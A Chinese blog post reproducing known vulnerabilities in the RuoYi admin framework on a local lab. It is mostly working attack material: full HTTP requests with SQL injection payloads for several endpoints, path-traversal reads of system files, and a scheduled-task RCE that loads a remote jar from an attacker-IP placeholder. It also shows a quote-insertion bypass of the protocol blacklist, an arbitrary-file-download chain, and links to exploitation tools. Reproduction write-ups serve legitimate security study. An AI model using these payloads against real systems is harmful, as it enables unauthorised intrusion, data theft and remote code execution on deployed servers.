【漏洞复现】Ruoyi框架漏洞复现总结

于 2024-09-29 15:21:08 发布
阅读量1.9k 收藏 23
点赞数 12
分类专栏： 漏洞复现vs漏洞利用 文章标签： 安全测试 网络安全 Web安全 Ruoyi框架漏洞复现总结
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lza20001103/article/details/142635551
版权

Ruoyi框架漏洞复现总结

目录

若依管理系统简介

若依管理系统（Ruoyi Admin System）是一款基于Java开发的开源后台管理系统，旨在提供一个快速开发和部署企业级管理系统的解决方案。若依管理系统采用前后端分离架构，前端使用Vue.js框架，后端使用Spring Boot框架。

复现环境搭建

首先上若依官网下载源码，官网地址：https://gitee.com/y_project/RuoYi 我选择下载使用的ruoyi V4.5

1、安装MySQL数据库。
在本地安装MySQL数据库，我使用的是MySQL8.0.23版本，建议使用新版MySQL，使用MySQL5.几的版本导入若依sql文件会报错。
MySQL安装教程请自行搜索。

2、导入若依的sql文件
若依源码根目录下有一个名为sql的目录，该目录下有两个sql文件。有两种方式进行导入。
（1）使用navicat连接本地MySQL8数据库。
首先新建一个名为ry的数据库。

在这里插入图片描述

选中ry数据库，点击鼠标右键，选择运行SQL文件
在这里插入图片描述

在这里插入图片描述
（2）使用IDEA进行数据文件的导入
首先使用idea新建一个MySQL数据源
在这里插入图片描述

在这里插入图片描述

使用IDEA开启一个MySQL控制台，然后再控制台中使用执行以下sql语句新建数据库ry：create database ry;
在这里插入图片描述

选中新建的ry数据库，然后新建一个MySQL控制台，然后将若依自带的两个sql文件中的内容粘贴到控制台中进行执行即可。
在这里插入图片描述

在这里插入图片描述

3、修改若依配置文件中的MySQL数据库的账号密码。
在这里插入图片描述

4、使用idea启动若依项目即可，若依服务默认在本地的80端口。
在这里插入图片描述

在这里插入图片描述

出现上图的图标就证明若依正常运行。
使用浏览器访问若依后台管理系统，页面如下：
在这里插入图片描述

若依前台默认shiro key命令执行漏洞

漏洞简介

若依默认使用shiro组件，所以可以试试shiro经典的rememberMe漏洞来getshell。

漏洞复现

直接使用Liqunkit工具梭哈
在这里插入图片描述

若依后台存在多处sql注入漏洞

漏洞简介

若依后台存在多个SQL注入点

漏洞复现

进入后台后，拦截角色管理页面的请求包
在这里插入图片描述

第一个sql注入点

POC：

POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 179
sec-ch-ua: “Chromium”;v=“109”, “Not_A Brand”;v=“99”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

在这里插入图片描述

第二个sql注入点：角色编辑接口

POC:
POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Content-Length: 111
sec-ch-ua: “Chromium”;v=“109”, “Not_A Brand”;v=“99”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

在这里插入图片描述

第三个sql注入点

POC：

POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
sec-ch-ua: “Chromium”;v=“109”, “Not_A Brand”;v=“99”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014
Connection: close

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

在这里插入图片描述

RuoYi4.7.5版本后台sql注入

ruoyi-4.7.5 后台 com/ruoyi/generator/controller/GenController 下/tool/gen/createTable路由存在sql注入。
POC：

sql=CREATE table ss1 as SELECT//* FROM sys_job WHERE 1=1 union//SELECT//extractvalue(1,concat(0x7e,(select//version()),0x7e));

在这里插入图片描述

若依后台任意文件读取（CNVD-2021-01931）

漏洞简介

若依管理系统是基于springboot的权限管理系统，登录后台后可以读取服务器上的任意文件。影响版本：RuoYi<4.5.1

漏洞复现

POC:

/common/download/resource?resource=/profile/…/…/…/…/etc/passwd
/common/download/resource?resource=/profile/…/…/…/…/Windows/win.ini

在这里插入图片描述读取了D盘下的1.txt文件

若依后台定时任务RCE

漏洞简介

由于若依后台计划任务处，对于传入的“调用目标字符串”没有任何校验，导致攻击者可以调用任意类、方法及参数触发反射执行命令。影响版本：RuoYi<4.6.2

漏洞复现

下载payload：https://github.com/artsploit/yaml-payload
下载完成之后我们修改一下 AwesomeScriptEngineFactory.java 这个文件

在这里插入图片描述

(mspaint为打开画图板)
然后切换到yaml-payload-master目录
编写yaml-payload.yml文件（如果没有自己创建）
在这里插入图片描述

然后在该目录下执行以下命令进行编译(java环境使用的是1.8)

javac src/artsploit/AwesomeScriptEngineFactory.java　//编译java文件
jar -cvf yaml-payload.jar -C src/ .　　//打包成jar包

然后就会生成一个 yaml-payload.jar的jar包
直接在yaml-payload-master目录下使用python起一个http服务。

python3 -m http.server 5555

然后进入若依后台，添加一个计划任务。

org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://攻击机ip/yaml-payload.jar”]]]]’)

在这里插入图片描述

cron表达式：
0/10 * * * * ?
这个cron就跟linux定时任务一样,定义每天/每周/等,定时启动的时间
配置好之后,并不会启动定时任务
在这里插入图片描述

计划任务启动之后，即可执行命令mspaint(弹出画图板)
在这里插入图片描述

版本4.6.2<=Ruoyi<4.7.2

这个版本采用了黑名单限制调用字符串

定时任务屏蔽ldap远程调用
定时任务屏蔽http(s)远程调用
定时任务屏蔽rmi远程调用

在这里插入图片描述

bypass
咱们只需要在屏蔽的协议加上单引号,接着采用之前的方式
例如:

org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“h’t’t’p’😕/127.0.0.1:88/yaml-payload.jar”]]]]’)

加引号
在这里插入图片描述

注：这个绕过没有亲自测试，粘贴的一位师傅原图

若依后台任意文件下载漏洞

漏洞简介

若依管理系统后台存在任意文件下载漏洞。影响版本：若依管理系统4.7.6及以下版本

漏洞复现

漏洞利用前提：登录进后台。
首先提交一个定时任务。

POST /monitor/job/add HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 188
Connection: close
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=61e79ae9-8cdd-4e51-baac-d269ef551df3

createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile(‘c://windows/win.ini’)&cronExpression=0%2F15+++++%3F&misfirePolicy=1&concurrent=1&status=0&remark=
在这里插入图片描述

通过浏览器直接get请求以下地址即可，下载任意文件。

http://127.0.0.1/common/download/resource?resource=c://windows/win.ini:.zip

在这里插入图片描述

若依框架综合利用工具推荐

若依漏洞利用工具1：https://github.com/thelostworldFree/Ruoyi-All
若依漏洞利用工具2：链接：https://pan.baidu.com/s/1yAUm6CP5uFpUwEqbYeXtCg?pwd=sazx
提取码：sazx

cookie获取方式

首先，打开火狐的Web开发者工具，找到底下的存储的位置，其中含有cookie信息，名称JSESSIONID后的值就是cookie的值了。
在这里插入图片描述

工具效果截图
在这里插入图片描述
只需要能登录成功，获取到有效cookie就可以进行漏洞测试了。

炫彩@之星
关注
专栏目录
【漏洞复现】若依系统默认弱口令漏洞
晚风不及你
02-26 1486
若依系统（RuoYi）是一套基于SpringBoot的权限管理系统，核心技术采用Spring、MyBatis、Shiro，众多政府、企业采用它作为某些系统的权限管理后台，使用率较高。
RuoYi框架部分历史漏洞
最新发布
carmi的博客
09-08 2086
RuoYi框架部分历史漏洞 生产环境搭建(代码审计) 项目地址：若依 (y_project) - Gitee.com 官方文档：RuoYi 项目构成 因为RuoYi框架是基于SpringBoot搭建的，所以我们启动项目时不用像SpringMVC那样去配置我们的服务器然后把项目放到服务器上启动。我们成功导入项目之后会生成一些文件夹存放对应的代码文件，每一个文件夹都代表着不同的功能。 ruoyi...
漏洞复现-Ruoyi若依系列
热门推荐
aming小老弟
05-02 2万+
官方漏洞历史文档。
渗透测试--实战若依ruoyi框架
qq_53003652的博客
11-16 6021
最近在挖某src的时候，碰到了一套若依，本以为啥都没有，结果随手一测若依存在的历史漏洞基本都有。是通过很奇怪的信息收集方式找到这个站的，分享出来让大家看看。老司机一看就明白了我在找什么，虽然说机会不大，但偏偏就让我遇到了。
漏洞挖掘 | ruoyi框架管理系统漏洞
2301_80127209的博客
04-01 5409
在挖src的时候，可以通过信息收集收集弱口令，然后通过后台弱口令进入后台：发现一个弱口令进去后：【魔方老师提醒才发现，这个蓝色的草丛其实可以大致判断是若依系统】看这界面，是不是很像ruoyi插件一看：前端vue.js加上登录的cookie rememberMe：【登录失败时bp抓包相应包有remeberMe=delete】得知登录为shiro框架八九不离十后台就是ruoyi框架的管理系统了。
ruoyi漏洞poc汇总及其原理分析（源码分析）
问彡心的博客
05-25 7027
汇总网上常见的若依漏洞poc，根据不同版本的参照对比，分析每个漏洞在不同版本中的代码表现形式，学习这些漏洞后台的代码是如何编写的以及如何进行修复的
ruoyi漏洞总结
qq_59468567的博客
05-03 2551
baseurl 就有了，有的是全的 url，大多数是只给个 baseurl：prod-api，这类。js 下面有个 app.xxxxxx(一些个字母数字).js，直接里面搜。如果页面访问显示不正常，可添加默认访问路径尝试是否显示正常。若依有个特点，密码可能在前台直接显示，点击并能够成功登录。监控中存在大量接口路径，可通过未授权获取更多敏感信息在。图标和登录页面及验证码处的样式识别出若依。认证失败，无法访问系统资源。进行替换实现登录系统。数据库存在未授权访问。
实战Src对ruoyi框架管理系统漏洞的复现
zkaqlaoniao的博客
12-18 5703
在挖src的时候，搜搜有没有后台弱口令能进去的：发现一个弱口令进去后：【这个蓝色的草丛居然堪比算是ruoyi的指纹】看这界面，是不是很像ruoyi插件一看：前端vue.js加上登录的cookie rememberMe：【登录失败时bp抓包相应包有remeberMe=delete】得知登录为shiro框架八九不离十后台就是ruoyi框架的管理系统了。
RuoYi 逻辑缺陷漏洞分析
afeng12345678的博客
07-31 2467
若依逻辑缺陷漏洞分享。漏洞为本人原创，转载请注明出处。
从代码审计的角度分析 Ruoyi v4.7.6 的任意文件下载漏洞
新青年1号
05-26 3782
从代码审计的角度看 Ruoyi v4.7.6 任意文件下载漏洞
若依管理框架-漏洞复现
千寻的博客
11-10 1905
RuoYi 是一个 Java EE 企业级快速开发平台，基于经典技术组合（Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap），内置模块如：部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置；支持集群，支持多数据源，支持分布式事务。
若依框架漏洞(若依管理框架漏洞复现)
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
03-28 4611
若依框架是一个 Java EE 企业级快速开发平台，基于经典技术组合（Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap），内置模块如：部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置；支持集群，支持多数据源，支持分布式事务。若依框架漏洞默认口令漏洞早期若依框架漏洞版本有反序列化漏洞 ，执行任意命令,漏洞复现,祭出fofa大法，fofa语法如下
【漏洞复现】若依druid 未授权访问漏洞
qq_67810151的博客
04-30 2056
若依（Ruoyi）框架存在未授权访问漏洞，攻击者可以通过该漏洞获取大量敏感信息。
若依框架的暴力破解漏洞
千寻的博客
11-23 2231
由于图片验证码未做好`前后台的统一校验`，可重复利用验证码，以及无登录错误次数限制等，导致攻击者可对账号与密码进行的穷举测试，从而获取网站登录访问权限
CVE-2024-49371 RuoYi 若依后台管理系统存在SQL注入漏洞
2401_83974590的博客
04-11 498
本人从事网路安全工作12年，曾在2个大厂工作过，安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过，对这个行业了解比较全面。最近遍览了各种网络安全类的文章，内容参差不齐，其中不伐有大佬倾力教学，也有各种不良机构浑水摸鱼，在收到几条私信，发现大家对一套完整的系统的网络安全从学习路线到学习资料，甚至是工具有着不小的需求。最后，我将这部分内容融会贯通成了一套282G的网络安全资料包，所有类目条理清晰，知识点层层递进，需要的小伙伴可以点击下方小卡片领取哦！
CVE-2023-49371 RuoYi 若依后台管理系统存在SQL注入漏洞
qq_27536045的博客
12-14 2590
CVE-2023-49371｜RuoYi 若依后台管理系统存在SQL注入漏洞 （漏洞复现）
RuoYi v4.2 Shiro反序列化漏洞
fansenliangren的博客
12-02 3115
反序列化漏洞是基于序列化和反序列化的操作，在反序列化——unserialize()时存在用户可控参数，而反序列化会自动调用一些魔术方法，如果魔术方法内存在一些敏感操作例如eval()函数，而且参数是通过反序列化产生的，那么用户就可以通过改变参数来执行敏感操作，这就是反序列化漏洞。
洞态IAST检测RuoYi的sql注入漏洞
weixin_40418457的博客
07-27 1907
一、背景 因为看到 Xcheck 发的自动检测到开源项目 RuoYi 的 sql 注入漏洞，因此打算用该漏洞验证一下洞态 IAST 的漏洞检测能力。洞态 IAST 的检测方式是扫描运行中的应用程序，将扫描到的漏洞信息发送到云端进行处理、展示。 二、验证方式 本次验证选择在本地 IDEA 运行 Xcheck 测试的 RuoYi 版本(4.6.1)，使用洞态 IAST 的 IDEA 插件对其进行快速检测。 三、本地环境搭建 克隆 RuoYi 源码 $ git clone https://github.com/
rouyi框架 空指针异常
08-26
在Rouyi框架中，当出现空指针异常时，可能是由于以下几个原因引起的： 1. 方法参数为空：检查你调用的方法是否传递了空值作为参数。空指针异常通常发生在试图对空对象调用方法时。 2. 对象引用为空：如果你在代码中使用了一个对象，但该对象为空，那么在尝试访问该对象的属性或方法时就会抛出空指针异常。 3. 未正确初始化对象：当你创建一个对象后，需要确保对该对象进行正确的初始化。如果你没有对对象进行初始化，就尝试访问该对象的属性或方法，就会导致空指针异常。 为了解决空指针异常，你可以采取以下措施： 1. 检查方法参数是否为空，并确保传递正确的参数。 2. 在使用对象之前，先检查对象是否为空，可以使用条件语句（如if语句）对对象进行判空。 3. 确保对象在使用之前被正确地初始化，例如通过构造函数或其他适当的方式。 另外，如果你遇到了具体的Rouyi框架的空指针异常问题，请提供更多的错误信息和相关代码，以便我能够更准确地帮助你解决问题。<span class="em">1</span><span class="em">2</span> #### 引用[.reference_title] - *1* *2* [Ruoyi实现单文件上传和多文件打包压缩包下载](https://blog.csdn.net/qq_39367410/article/details/127646636)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

炫彩@之星

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值